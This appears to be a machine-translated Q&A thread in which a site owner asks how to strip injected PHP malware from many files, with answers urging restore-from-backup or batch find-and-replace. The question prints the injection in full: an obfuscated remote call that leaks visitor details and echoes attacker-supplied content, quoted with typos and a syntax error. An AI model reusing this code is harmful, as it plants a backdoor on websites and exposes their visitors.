有没有办法从多个文件和目录中删除以下代码:
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1; // This code use for lobal bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if (strstr($sUserAgent, 'google') == false &&
strstr($sUserAgent, 'yahoo') == false &&
strstr($sUserAgent, 'baidu') == false &&
strstr($sUserAgent, 'msn') == false &&
strstr($sUserAgent, 'opera') == false &&
strstr($sUserAgent, 'chrome') == false &&
strstr($sUserAgent, 'bing') == false &&
strstr($sUserAgent, 'safari') == false &&
strstr($sUserAgent, 'bot') == false) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) && isset($_SERVER['HTTP_HOST']))
{ // reate bot analitics
$stCurlLink = base64_decode('aHR0cDovL2NvbnFzdGF0LmNvbS9zdGF0L3N0YXQucGhw') .
'?ip=' . urlencode($_SERVER['REMOTE_ADDR']) .
'& seragent=' . urlencode($sUserAgent) .
'&domainname=' . urlencode($_SERVER['HTTP_HOST']) .
'& ullpath=' . urlencode($_SERVER['REQUEST_URI']) .
'& check=' . isset($_GET['look']);
$stCurlHandle = curl_init($stCurlLink);
}
}
if ($stCurlHandle !== NULL)
{
curl_setopt($stCurlHandle, URLOPT_RETURNTRANSFER, 1);
$sResult = @curl_exec($stCurlHandle);
if $sResult[0] == "O")
{
$sResult[0] = " ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
答案 0 :(得分:3)
不要这样做。永远不要试图修复攻击。如果你能得到这一切,你永远不可能100%确定。毕竟,你知道这种特殊注射。你怎么知道其他地方没有其他后门?
处理它的最佳方法是从备份恢复并修复漏洞。
没有备份?嗯,经验教训。现在去你的主人并问他们(他们应该有一个最近的,但如果他们为你滚动它是另一回事)。
如果他们也没有,那么你就会被迫尝试修复。但即使这样,我也会不建议以自动方式执行此操作。相反,逐个文件,看看那里有什么。除非您手动进入每个文件并检查,否则您不知道存在多少版本的“漏洞利用”。所以我不会尝试建立一个正则表达式,我会手工完成,并建议你这样做。但仅作为备份的最后手段......
答案 1 :(得分:0)
是的,我想你是在Windows上(Unix用户会知道使用sed
)。我会尝试一些可以做到这一点的免费软件:例如http://www.digitalvolcano.co.uk/content/textcrawler。或者更好的是,下载任何PHP IDE。所有人都可以批量查找和替换。